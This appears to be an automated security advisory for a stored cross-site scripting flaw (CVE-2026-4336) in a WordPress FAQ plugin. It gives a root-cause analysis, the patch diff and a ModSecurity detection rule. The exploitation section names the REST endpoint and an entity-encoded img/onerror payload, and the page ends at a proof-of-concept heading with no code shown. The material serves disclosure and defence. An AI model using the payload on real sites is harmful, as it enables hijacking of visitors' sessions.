Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-4336: Ultimate FAQ Accordion Plugin <= 2.4.7 – Authenticated (Author+) Stored Cross-Site Scripting via FAQ Content (ultimate-faqs)

CVE ID CVE-2026-4336
Plugin ultimate-faqs
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.4.7
Patched Version 2.4.8
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4336:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Ultimate FAQ Accordion WordPress plugin versions up to and including 2.4.7. The vulnerability allows Author-level users to inject malicious scripts into FAQ content that execute when the FAQ is viewed. The issue stems from improper output escaping combined with HTML entity decoding during rendering.

Root Cause:
The vulnerability originates in two specific code locations. First, the set_display_variables() function in View.FAQ.class.php (line 746) applies html_entity_decode() to the FAQ post_content before passing it through the_content filter. This converts HTML entity-encoded payloads back into executable HTML. Second, the faq-answer.php template echoes the decoded content without proper sanitization. The plugin previously relied on the_content filter for sanitization, but this filter does not adequately protect against content that was entity-encoded during storage. The ufaq custom post type is registered with ‘show_in_rest’ => true and uses the default ‘post’ capability_type, allowing Author-level users to create and publish FAQs via the REST API.

Exploitation:
An attacker with Author-level access can exploit this vulnerability through the WordPress REST API at /wp-json/wp/v2/ufaq. The attacker submits a POST request with entity-encoded malicious HTML in the content field, such as <img src=x onerror=alert()>. WordPress’s kses sanitization sees the entities as plain text during save, allowing the payload to be stored. When the FAQ is rendered, html_entity_decode() converts the entities back to executable HTML, and the insufficient output escaping in faq-answer.php allows script execution. The malicious FAQ can be displayed via the [ultimate-faqs] shortcode or direct FAQ pages.

Patch Analysis:
The patch in version 2.4.8 addresses the vulnerability by implementing proper output escaping. In faq-answer.php, the echo statement now uses wp_kses() with a custom allowed tags list instead of relying solely on the_content filter. The get_faq_allowed_tags() method in View.FAQ.class.php provides a comprehensive allowlist of HTML tags and attributes. The patch also removes the html_entity_decode() calls from set_display_variables() (lines 746 and 747), allowing the_content filter to process the raw stored content. Additionally, the plugin version is updated to 2.4.8, and the helper class includes new AIAA integration methods.

Impact:
Successful exploitation allows authenticated attackers with Author-level permissions to inject arbitrary JavaScript into FAQ pages. This script executes in the context of any user viewing the compromised FAQ, potentially leading to session hijacking, administrative actions performed by victims, content defacement, or malware distribution. The stored nature means the payload persists and executes each time the FAQ is accessed, amplifying the attack’s reach.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ultimate-faqs/ewd-ufaq-templates/faq-answer.php
+++ b/ultimate-faqs/ewd-ufaq-templates/faq-answer.php
@@ -1,3 +1,3 @@
 <div class='ewd-ufaq-post-margin ewd-ufaq-faq-post'>
-	<?php echo $this->faq_answer; /* sanitized by the_content filter */ ?>
+	<?php echo wp_kses( $this->faq_answer, $this->get_faq_allowed_tags() ); ?>
 </div>
 No newline at end of file
--- a/ultimate-faqs/includes/Helper.class.php
+++ b/ultimate-faqs/includes/Helper.class.php
@@ -43,6 +43,171 @@
     return self::$instance;
   }

+
+  /**
+   * Check whether AI Admin Assistance (AIAA) is active/loaded.
+   *
+   * We prefer a constant check (most reliable), with fallbacks.
+   *
+   * @since 2.4.8
+   */
+  private static function aiaa_is_active() {
+
+    if ( defined( 'AIT_AIAA_VERSION' ) ) { return true; }
+
+    if ( class_exists( 'AIT_AIAA_Plugin' ) ) { return true; }
+
+    // As a fallback, if the filter exists, we treat it as active integration point.
+    if ( has_filter( 'ait_aiaa_third_party_information' ) ) { return true; }
+
+    return false;
+  }
+
+  /**
+   * AIAA integration
+   *
+   * @since 2.4.8
+   */
+  public static function aiaa_add_filter() {
+
+    if ( self::aiaa_is_active() ) { update_option( 'EWD_Debugging', "Step 2 " );
+
+      add_filter( 'ait_aiaa_third_party_information', array( __CLASS__, 'add_help_to_aiaa' ), 20, 2 );
+    }
+  }
+
+  /**
+   * Adds Ultimate FAQs help content to AIAA's Third-Party Help tab.
+   *
+   * @param array $items
+   * @param array $context { screen_id, post_type, taxonomy }
+   * @return array
+   *
+   * @since 2.4.8
+   */
+  public static function add_help_to_aiaa( $items, $context ) {
+    update_option( 'EWD_Debugging', "Being called" );
+    $items   = is_array( $items ) ? $items : array();
+    $context = is_array( $context ) ? $context : array();
+
+    // We only contribute on screens where our own helper would show.
+    $screen_id = isset( $context['screen_id'] ) ? (string) $context['screen_id'] : '';
+    $post_type = isset( $context['post_type'] ) ? (string) $context['post_type'] : '';
+    $taxonomy  = isset( $context['taxonomy'] ) ? (string) $context['taxonomy'] : '';
+
+    if ( ! self::aiaa_matches_context( $screen_id, $post_type, $taxonomy ) ) { return $items; }
+  update_option( 'EWD_Debugging', "Being called 2" );
+    $page_details = self::get_page_details_for_context( $context );
+
+    // Build AIAA help_links with grouping:
+    // - Tutorials: page-specific items
+    // - General: documentation/support resources
+    $tutorial_links = array();
+    if ( ! empty( $page_details['tutorials'] ) && is_array( $page_details['tutorials'] ) ) {
+
+      foreach ( $page_details['tutorials'] as $tutorial ) {
+
+        if ( empty( $tutorial['url'] ) || empty( $tutorial['title'] ) ) { continue; }
+
+        $tutorial_links[] = array(
+          'title' => (string) $tutorial['title'],
+          'url'   => (string) $tutorial['url'],
+        );
+      }
+    }
+
+    $general_links = array();
+    if ( ! empty( self::$documentation_link ) ) {
+      $general_links[] = array(
+        'title' => __( 'Documentation', 'ultimate-faqs' ),
+        'url'   => self::$documentation_link,
+      );
+    }
+    if ( ! empty( self::$tutorials_link ) ) {
+      $general_links[] = array(
+        'title' => __( 'YouTube Tutorials', 'ultimate-faqs' ),
+        'url'   => self::$tutorials_link,
+      );
+    }
+    if ( ! empty( self::$support_center_link ) ) {
+      $general_links[] = array(
+        'title' => __( 'Support Center', 'ultimate-faqs' ),
+        'url'   => self::$support_center_link,
+      );
+    }
+
+    $help_links = array();
+    if ( ! empty( $tutorial_links ) ) { $help_links[ __( 'Tutorials', 'ultimate-faqs' ) ] = $tutorial_links; }
+    if ( ! empty( $general_links ) ) { $help_links[ __( 'General', 'ultimate-faqs' ) ] = $general_links; }
+
+    $items[] = array(
+      'id'          => 'ufaq_help',
+      'title'       => __( 'Ultimate FAQs Help', 'ultimate-faqs' ),
+      'description' => ! empty( $page_details['description'] ) ? '<p>' . esc_html( $page_details['description'] ) . '</p>' : '',
+      'help_links'  => $help_links,
+      'source'      => array(
+        'type' => 'plugin',
+        'name' => 'Ultimate FAQs',
+        'slug' => 'ultimate-faqs',
+      ),
+      'target_callback' => array( __CLASS__, 'aiaa_target_callback' ),
+      'priority'        => 20,
+      'capability'      => 'manage_options',
+      'icon'            => 'dashicons-editor-help',
+    );
+    update_option( 'EWD_Debugging', "Being called - " . print_r( $items, true ) );
+    return $items;
+  }
+
+  /**
+   * AIAA advanced targeting callback.
+   *
+   * @param array $context
+   * @param array $item
+   * @return bool
+   *
+   * @since 2.4.8
+   */
+  public static function aiaa_target_callback( $context, $item ) {
+
+    $context = is_array( $context ) ? $context : array();
+
+    $screen_id = isset( $context['screen_id'] ) ? (string) $context['screen_id'] : '';
+    $post_type = isset( $context['post_type'] ) ? (string) $context['post_type'] : '';
+    $taxonomy  = isset( $context['taxonomy'] ) ? (string) $context['taxonomy'] : '';
+
+    return self::aiaa_matches_context( $screen_id, $post_type, $taxonomy );
+  }
+
+  /**
+   * Shared matcher: aligns with should_button_display(), plus supports screen_id substring matches.
+   *
+   * @param string $screen_id
+   * @param string $post_type
+   * @param string $taxonomy
+   * @return bool
+   *
+   * @since 2.4.8
+   */
+  private static function aiaa_matches_context( $screen_id, $post_type, $taxonomy ) {
+
+    if ( ! empty( $post_type ) && in_array( $post_type, self::$post_types, true ) ) { return true; }
+
+    if ( ! empty( $taxonomy ) && in_array( $taxonomy, self::$taxonomies, true ) ) { return true; }
+
+    if ( ! empty( $screen_id ) && ! empty( self::$additional_pages ) ) {
+
+      foreach ( self::$additional_pages as $slug ) {
+
+        if ( empty( $slug ) ) { continue; }
+
+        if ( strpos( $screen_id, $slug ) !== false ) { return true; }
+      }
+    }
+
+    return false;
+  }
+
   /**
    * Handle ajax requests in admin area for logged out users
    * @since 2.1.1
@@ -102,6 +267,13 @@

   public static function display_help_button() {

+    // If AI Admin Assistance (AIAA) is active, UFAQ help is provided via the
+    // AIAA third-party help tab instead of showing the native UFAQ bubble.
+    if ( defined( 'AIT_AIAA_VERSION' ) ) { return; }
+
+    // If AIAA is active, UFAQ help will be provided via AIAA instead of the UFAQ bubble.
+    if ( self::aiaa_is_active() ) { return; }
+
     if ( ! ewdufaqHelper::should_button_display() ) { return; }

     ewdufaqHelper::enqueue_scripts();
@@ -143,6 +315,8 @@
     <?php
   }

+
+
   public static function should_button_display() {
     global $post;

@@ -175,8 +349,55 @@
     wp_enqueue_script( 'ewd-ufaq-admin-helper-button', EWD_UFAQ_PLUGIN_URL . '/assets/js/ewd-ufaq-helper-button.js', array( 'jquery' ), EWD_UFAQ_PLUGIN_URL, true );
   }

-  public static function get_page_details() {
-    global $post;
+  /**
+   * Get page details based on an AIAA context array (AJAX-safe).
+   *
+   * @param array $context { screen_id, post_type, taxonomy }
+   * @return array { description, tutorials }
+   *
+   * @since 2.4.8
+   */
+  public static function get_page_details_for_context( $context ) {
+
+    $context = is_array( $context ) ? $context : array();
+
+    $screen_id = isset( $context['screen_id'] ) ? (string) $context['screen_id'] : '';
+    $post_type = isset( $context['post_type'] ) ? (string) $context['post_type'] : '';
+    $taxonomy  = isset( $context['taxonomy'] ) ? (string) $context['taxonomy'] : '';
+
+    $req = ( isset( $context['request'] ) && is_array( $context['request'] ) ) ? $context['request'] : array();
+
+    // Prefer the AIAA request snapshot (most accurate for settings tabs).
+    $page = isset( $req['page'] ) ? sanitize_text_field( $req['page'] ) : '';
+
+    // Derive a "page" slug from screen_id if not provided.
+    if ( $screen_id && ! empty( self::$additional_pages ) ) {
+      foreach ( self::$additional_pages as $slug ) {
+        if ( $slug && strpos( $screen_id, $slug ) !== false ) {
+          $page = $slug;
+          break;
+        }
+      }
+    }
+
+    // AIAA request snapshot includes tab (e.g. ewd-ufaq-basic-tab).
+    $tab = isset( $req['tab'] ) ? sanitize_text_field( $req['tab'] ) : '';
+
+    return self::get_page_details_by_values( $page, $tab, $taxonomy, $post_type );
+  }
+
+  /**
+   * Shared resolver used by both get_page_details() (GET-based) and get_page_details_for_context() (context-based).
+   *
+   * @param string $page
+   * @param string $tab
+   * @param string $taxonomy
+   * @param string $post_type
+   * @return array { description, tutorials }
+   *
+   * @since 2.4.8
+   */
+  private static function get_page_details_by_values( $page, $tab, $taxonomy, $post_type ) {

     $page_details = array(
       'ufaq' => array(
@@ -191,128 +412,98 @@
             'title' => 'Add FAQs to a Page'
           ),
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/ai',
-            'title' => 'Create FAQs using AI (Premium)'
-          ),
-          array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/blocks-shortcodes/',
-            'title' => 'Block and Shortcodes to display your FAQs'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/edit',
+            'title' => 'Edit/Delete FAQs'
           ),
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/search/add-to-page',
-            'title' => 'Add FAQ Search to a Page (Premium)'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/sort',
+            'title' => 'Re-Order FAQs'
           ),
         )
       ),
-      'ufaq-category' => array(
-        'description' => __( 'The FAQ Categories page lets you create, edit, and manage categories to group related FAQs for better organization. While you can view, sort, and search categories here, FAQs can only be assigned to categories through the FAQ Add/Edit screen or the Quick Edit option on the main FAQs page.', 'ultimate-faqs' ),
+      'edit-ufaq-question' => array(
+        'description' => __( 'The FAQ edit screen allows you to create or update an individual FAQ, including its question, answer, categories/tags, and display settings. Use this to keep your FAQs accurate and up to date.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/categories',
-            'title' => 'Add or Edit a Category'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/create',
+            'title' => 'Create an FAQ'
           ),
-        )
-      ),
-      'ufaq-tag' => array(
-        'description' => __( 'The FAQ Tags page allows you to create, edit, and manage tags to label and organize FAQs. Like categories, tags can only be assigned to FAQs through the Add/Edit screen or the Quick Edit option on the main FAQs page.', 'ultimate-faqs' ),
-        'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/tags',
-            'title' => 'Add or Edit a Tag'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/edit',
+            'title' => 'Edit/Delete FAQs'
           ),
         )
       ),
-      'ewd-ufaq-import' => array(
-        'description' => __( 'Import your FAQs from a spreadsheet to create them more quickly.', 'ultimate-faqs' ),
+      'ufaq-category' => array(
+        'description' => __( 'FAQ Categories let you organize your FAQs into groups for easier navigation and display. You can create, edit, and assign categories to FAQs from here.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/import',
-            'title' => 'Import FAQs'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/categories',
+            'title' => 'FAQ Categories'
           ),
         )
       ),
-      'ewd-ufaq-export' => array(
-        'description' => __( 'Export your FAQs to a spreadsheet so they can be easily shared.', 'ultimate-faqs' ),
+      'ufaq-tag' => array(
+        'description' => __( 'FAQ Tags provide an additional way to label and filter FAQs. Use tags to help users find related questions or to power tag-based displays.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/export',
-            'title' => 'Export FAQs'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/tags',
+            'title' => 'FAQ Tags'
           ),
         )
       ),
-      'ewd-ufaq-settings' => array(
-        'description' => __( 'The Basic Settings page lets you customize how FAQs behave and appear on your site, including layout toggles, comment support, permalink options, and display preferences. It also includes access control settings and a custom CSS field to fine-tune the style and functionality of your FAQ section.', 'ultimate-faqs' ),
+      'ewd-ufaq-dashboard' => array(
+        'description' => __( 'The Ultimate FAQs dashboard provides a quick overview of your plugin configuration, shortcuts to key areas, and useful resources to help you get started.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/styling/css',
-            'title' => 'Custom CSS'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/overview',
+            'title' => 'Plugin Overview'
           ),
         )
       ),
-      'ewd-ufaq-dashboard' => array(
-        'description' => __( 'This is the dashboard screen. Here you can view a summary of your FAQs as well as get quick access to to help, support and documentation.', 'ultimate-faqs' ),
-        'tutorials'   => array()
-      ),
-      'ewd-ufaq-settings-ewd-ufaq-basic-tab' => array(
-        'description' => __( 'The Basic Settings page lets you customize how FAQs behave and appear on your site, including layout toggles, comment support, permalink options, and display preferences. It also includes access control settings and a custom CSS field to fine-tune the style and functionality of your FAQ section.', 'ultimate-faqs' ),
+      'ewd-ufaq-ordering-table' => array(
+        'description' => __( 'Use the Ordering Table to quickly rearrange FAQs in the order they will appear. This is useful when you want precise control over the display sequence.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/styling/css',
-            'title' => 'Custom CSS'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/sort',
+            'title' => 'Re-Order FAQs'
           ),
         )
       ),
-      'ewd-ufaq-settings-ewd-ufaq-ordering-tab' => array(
-        'description' => __( 'The Ordering Settings page controls how FAQs and categories are sorted and displayed on the front end, with options to group by category, show FAQ counts, and nest sub-categories. You can define sort criteria such as title, date created or modified, and set ascending or descending order for both FAQs and categories.', 'ultimate-faqs' ),
+      'ewd-ufaq-import' => array(
+        'description' => __( 'The Import screen allows you to upload FAQs in bulk from a file, saving time when migrating or creating large FAQ sets.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/faqs/order',
-            'title' => 'Order of FAQs (Premium)'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/import',
+            'title' => 'Import FAQs'
           ),
         )
       ),
-      'ewd-ufaq-settings-ewd-ufaq-premium-tab' => array(
-        'description' => __( 'The Premium Settings page provides advanced customization options for FAQ display styles, pagination behavior, voting, search autocomplete, and permalink structure. It also includes features for user-submitted FAQs, WooCommerce and WPForms integrations, and admin notifications for streamlined content management.', 'ultimate-faqs' ),
+      'ewd-ufaq-export' => array(
+        'description' => __( 'The Export screen lets you download your FAQs and settings for backup or migration to another site.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/woocommerce/',
-            'title' => 'WooCommerce Integration'
-          ),
-          array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/woocommerce/add',
-            'title' => 'Add FAQs to WooCommerce Products'
-          ),
-          array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/wpforms/',
-            'title' => 'WPForms Integration'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/export',
+            'title' => 'Export FAQs'
           ),
         )
       ),
-      'ewd-ufaq-settings-ewd-ufaq-fields-tab' => array(
-        'description' => __( 'The Fields Settings page lets you create and manage custom fields to add extra information to your FAQs, such as links, dates, files, or dropdowns. These fields can appear on your main FAQ display, individual FAQ pages, and the search page, offering advanced customization beyond categories and tags.', 'ultimate-faqs' ),
+      'ewd-ufaq-settings' => array(
+        'description' => __( 'The Settings page controls how your FAQs display and behave. Review options to match your theme and desired layout, and use the tabs to explore advanced configuration.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/custom-fields/create',
-            'title' => 'Create and Edit Custom Fields'
-          ),
-          array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/custom-fields/faqs',
-            'title' => 'Using Custom Fields with FAQs'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/settings',
+            'title' => 'Settings Overview'
           ),
         )
       ),
-      'ewd-ufaq-settings-ewd-ufaq-labelling-tab' => array(
-        'description' => __( 'The Labelling Settings page allows you to customize or translate the text labels used throughout the plugin, making it easy to adapt the interface to your preferred language or tone. It offers a quick alternative to translation plugins for single-language sites, while still supporting full localization for multilingual setups.', 'ultimate-faqs' ),
+      'ewd-ufaq-settings-styling' => array(
+        'description' => __( 'The Styling tab provides options to customize the look and feel of your FAQ display. You can adjust colors, typography, and layout-related settings.', 'ultimate-faqs' ),
         'tutorials'   => array(
           array(
-            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/labelling/translating',
-            'title' => 'Translating'
+            'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/styling',
+            'title' => 'Styling Settings'
           ),
-        )
-      ),
-      'ewd-ufaq-settings-ewd-ufaq-styling-tab' => array(
-        'description' => __( 'The Styling Settings page offers extensive options to customize the appearance of your FAQs, including toggle symbols, colors, fonts, padding, and margins for various FAQ elements and themes. You can also control heading tags and styles, enabling precise visual integration with your site’s design.', 'ultimate-faqs' ),
-        'tutorials'   => array(
           array(
             'url'   => 'https://doc.etoilewebdesign.com/plugins/ultimate-faq/user/styling/css',
             'title' => 'Custom CSS'
@@ -321,30 +512,46 @@
       ),
     );

-    $tab = isset( $_GET['tab'] ) ? sanitize_text_field( $_GET['tab'] ) : '';
-    $page = isset( $_GET['page'] ) ? sanitize_text_field( $_GET['page'] ) : '';
+    $page    = $page ? sanitize_text_field( $page ) : '';
+    $tab     = $tab ? sanitize_text_field( $tab ) : '';
+    $taxonomy= $taxonomy ? sanitize_text_field( $taxonomy ) : '';
+    $post_type = $post_type ? sanitize_text_field( $post_type ) : '';
+
+    if ( $page && $tab && isset( $page_details[ $page . '-' . $tab ] ) ) {
+      return $page_details[ $page . '-' . $tab ];
+    }
+
+    if ( $page && isset( $page_details[ $page ] ) ) { return $page_details[ $page ]; }
+
+    if ( $taxonomy && isset( $page_details[ $taxonomy ] ) ) { return $page_details[ $taxonomy ]; }
+
+    if ( $post_type && isset( $page_details[ $post_type ] ) ) { return $page_details[ $post_type ]; }
+
+    return array( 'description' => '', 'tutorials' => array() );
+  }
+
+
+  public static function get_page_details() {
+    global $post;
+
+    $tab      = isset( $_GET['tab'] ) ? sanitize_text_field( $_GET['tab'] ) : '';
+    $page     = isset( $_GET['page'] ) ? sanitize_text_field( $_GET['page'] ) : '';
     $taxonomy = isset( $_GET['taxonomy'] ) ? sanitize_text_field( $_GET['taxonomy'] ) : '';

     if ( isset( $_GET['post'] ) ) {
-
-      $post = get_post( intval( $_GET['post'] ) );
+      $post      = get_post( intval( $_GET['post'] ) );
       $post_type = $post ? $post->post_type : '';
     }
     else {
-
       $post_type = isset( $_GET['post_type'] ) ? sanitize_text_field( $_GET['post_type'] ) : '';
     }

-    if ( in_array( $page . '-' . $tab, array_keys( $page_details ) ) ) { return $page_details[ $page . '-' . $tab ]; }
-
-    if ( in_array( $page, array_keys( $page_details ) ) ) { return $page_details[ $page ]; }
-
-    if ( in_array( $taxonomy, array_keys( $page_details ) ) ) { return $page_details[ $taxonomy ]; }
-
-    if ( in_array( $post_type, array_keys( $page_details ) ) ) { return $page_details[ $post_type ]; }
-
-    return array( 'description' => '', 'tutorials' => array() );
+    return self::get_page_details_by_values( $page, $tab, $taxonomy, $post_type );
   }
+
 }

+// Register integrations after all plugins load.
+add_action( 'plugins_loaded', array( 'ewdufaqHelper', 'aiaa_add_filter' ), 20 );
+
 }
 No newline at end of file
--- a/ultimate-faqs/ultimate-faqs.php
+++ b/ultimate-faqs/ultimate-faqs.php
@@ -3,7 +3,7 @@
  * Plugin Name: Ultimate FAQ Accordion Plugin
  * Plugin URI: https://www.etoilewebdesign.com/plugins/ultimate-faq/
  * Description: Full-featured FAQ and accordion plugin with advanced search, simple UI and easy-to-use Gutenberg blocks and shortcodes.
- * Version: 2.4.7
+ * Version: 2.4.8
  * Author: Etoile Web Design
  * Author URI: https://www.etoilewebdesign.com/
  * Text Domain: ultimate-faqs
@@ -11,7 +11,7 @@
  * Requires at least: 6.0
  * Requires PHP: 7.4
  * WC requires at least: 7.1
- * WC tested up to: 10.5
+ * WC tested up to: 10.6
  */

 if ( ! defined( 'ABSPATH' ) )
@@ -63,7 +63,7 @@
 		define( 'EWD_UFAQ_PLUGIN_URL', untrailingslashit( plugin_dir_url( __FILE__ ) ) );
 		define( 'EWD_UFAQ_PLUGIN_FNAME', plugin_basename( __FILE__ ) );
 		define( 'EWD_UFAQ_TEMPLATE_DIR', 'ewd-ufaq-templates' );
-		define( 'EWD_UFAQ_VERSION', '2.4.7' );
+		define( 'EWD_UFAQ_VERSION', '2.4.8' );

 		define( 'EWD_UFAQ_FAQ_POST_TYPE', 'ufaq' );
 		define( 'EWD_UFAQ_FAQ_CATEGORY_TAXONOMY', 'ufaq-category' );
--- a/ultimate-faqs/views/View.FAQ.class.php
+++ b/ultimate-faqs/views/View.FAQ.class.php
@@ -204,14 +204,10 @@
 	public function print_faq_answer() {

 		$template = $this->find_template( 'faq-answer' );
-
-		add_filter( 'wp_kses_allowed_html', array( $this, 'get_allowed_faq_content_tags' ) );

 		if ( $template ) {
 			include( $template );
 		}
-
-		remove_filter( 'wp_kses_allowed_html', array( $this, 'get_allowed_faq_content_tags' ) );
 	}

 	/**
@@ -670,23 +666,6 @@
   	}

 	/**
-	* Get the initial submit faq css classes
-	* @since 2.1.6
-	*/
-	public function get_allowed_faq_content_tags( $tags ) {
-
-		$tags['iframe'] = array(
-			'src'				=> true,
-			'height'			=> true,
-			'width'				=> true,
-			'frameborder'		=> true,
-			'allowfullscreen'	=> true,
-		);
-
-		return apply_filters( 'ewd_ufaq_kses_allowed_html', $tags );
-	}
-
-	/**
 	 * Get the initial submit faq css classes
 	 * @since 2.0.0
 	 */
@@ -743,8 +722,8 @@

 		$this->unique_id = $this->faq->post->ID . '-' . ewd_random_string();
 		$this->faq_title = apply_filters( 'the_title', $this->faq->post->post_title, $this->faq->post->ID );
-		$this->faq_answer = apply_filters( 'the_content', html_entity_decode( $this->faq->post->post_content ) );
-		$this->faq_preview = apply_filters( 'the_content', html_entity_decode( $this->faq->post->post_excerpt ) );
+		$this->faq_answer = apply_filters( 'the_content', $this->faq->post->post_content );
+		$this->faq_preview = apply_filters( 'the_content', $this->faq->post->post_excerpt );
 		$this->date = get_the_date( '', $this->faq->post->ID );

 		if ( ! empty( $this->search_string ) and $ewd_ufaq_controller->settings->get_setting( 'highlight-search-term' ) ) {
@@ -881,6 +860,187 @@
 	}

 	/**
+	 * Extended KSES allowlist for FAQ answers.
+	 *
+	 * Starts with WordPress's normal post allowlist, then adds a few useful tags
+	 * and carefully chosen attributes for richer content.
+	 */
+	public function get_faq_allowed_tags() {
+		$allowed = wp_kses_allowed_html( 'post' );
+
+		// Media
+		$allowed['video'] = array(
+			'src'      => true,
+			'controls' => true,
+			'autoplay' => true,
+			'loop'     => true,
+			'muted'    => true,
+			'poster'   => true,
+			'preload'  => true,
+			'width'    => true,
+			'height'   => true,
+			'class'    => true,
+			'id'       => true,
+			'style'    => true,
+			'playsinline' => true,
+		);
+		$allowed['source'] = array(
+			'src'  => true,
+			'type' => true,
+			'media' => true,
+		);
+		$allowed['track'] = array(
+			'kind'    => true,
+			'src'     => true,
+			'srclang' => true,
+			'label'   => true,
+			'default' => true,
+		);
+		$allowed['audio'] = array(
+			'src'      => true,
+			'controls' => true,
+			'autoplay' => true,
+			'loop'     => true,
+			'muted'    => true,
+			'preload'  => true,
+			'class'    => true,
+			'id'       => true,
+			'style'    => true,
+		);
+
+		// Embedded content
+		$allowed['iframe'] = array(
+			'src'             => true,
+			'width'           => true,
+			'height'          => true,
+			'title'           => true,
+			'class'           => true,
+			'id'              => true,
+			'style'           => true,
+			'loading'         => true,
+			'allow'           => true,
+			'allowfullscreen' => true,
+			'referrerpolicy'  => true,
+			'sandbox'         => true,
+		);
+
+		// Forms
+		$allowed['form'] = array(
+			'action'         => true,
+			'method'         => true,
+			'enctype'        => true,
+			'accept-charset' => true,
+			'target'         => true,
+			'name'           => true,
+			'class'          => true,
+			'id'             => true,
+		);
+		$allowed['input'] = array(
+			'type'        => true,
+			'name'        => true,
+			'value'       => true,
+			'placeholder' => true,
+			'checked'     => true,
+			'selected'    => true,
+			'disabled'    => true,
+			'readonly'    => true,
+			'required'    => true,
+			'min'         => true,
+			'max'         => true,
+			'step'        => true,
+			'maxlength'   => true,
+			'size'        => true,
+			'pattern'     => true,
+			'multiple'    => true,
+			'accept'      => true,
+			'src'         => true,
+			'alt'         => true,
+			'class'       => true,
+			'id'          => true,
+		);
+		$allowed['textarea'] = array(
+			'name'        => true,
+			'rows'        => true,
+			'cols'        => true,
+			'placeholder' => true,
+			'disabled'    => true,
+			'readonly'    => true,
+			'required'    => true,
+			'class'       => true,
+			'id'          => true,
+		);
+		$allowed['select'] = array(
+			'name'     => true,
+			'multiple' => true,
+			'disabled' => true,
+			'required' => true,
+			'class'    => true,
+			'id'       => true,
+		);
+		$allowed['option'] = array(
+			'value'    => true,
+			'selected' => true,
+			'disabled' => true,
+			'label'    => true,
+		);
+		$allowed['optgroup'] = array(
+			'label'    => true,
+			'disabled' => true,
+		);
+		$allowed['button'] = array(
+			'type'     => true,
+			'name'     => true,
+			'value'    => true,
+			'disabled' => true,
+			'class'    => true,
+			'id'       => true,
+		);
+		$allowed['label'] = array(
+			'for'   => true,
+			'class' => true,
+			'id'    => true,
+		);
+		$allowed['fieldset'] = array(
+			'class' => true,
+			'id'    => true,
+		);
+		$allowed['legend'] = array(
+			'class' => true,
+			'id'    => true,
+		);
+
+		//Semantic/layout tags
+		$allowed['figure'] = array(
+			'class' => true,
+			'id'    => true,
+			'style' => true,
+		);
+		$allowed['figcaption'] = array(
+			'class' => true,
+			'id'    => true,
+			'style' => true,
+		);
+		$allowed['details'] = array(
+			'open'  => true,
+			'class' => true,
+			'id'    => true,
+		);
+		$allowed['summary'] = array(
+			'class' => true,
+			'id'    => true,
+		);
+		$allowed['mark'] = array(
+			'class' => true,
+		);
+		$allowed['time'] = array(
+			'datetime' => true,
+			'class'    => true,
+		);
+
+		return $allowed;
+	}
+
+	/**
 	 * Builds the display permalink for the current FAQ, based on selected settings
 	 * @since 2.0.0
 	 */

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4336
# Blocks entity-encoded XSS payloads targeting Ultimate FAQ plugin REST API
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/ufaq" 
  "id:20264336,phase:2,deny,status:403,chain,msg:'CVE-2026-4336 via Ultimate FAQ REST API',severity:'CRITICAL',tag:'CVE-2026-4336',tag:'wordpress',tag:'xss'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx &(lt|gt|amp|quot|#x?[0-9a-f]+);.*on[a-z]+s*=" 
      "t:lowercase,t:htmlEntityDecode,t:urlDecodeUni,t:removeWhitespace,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

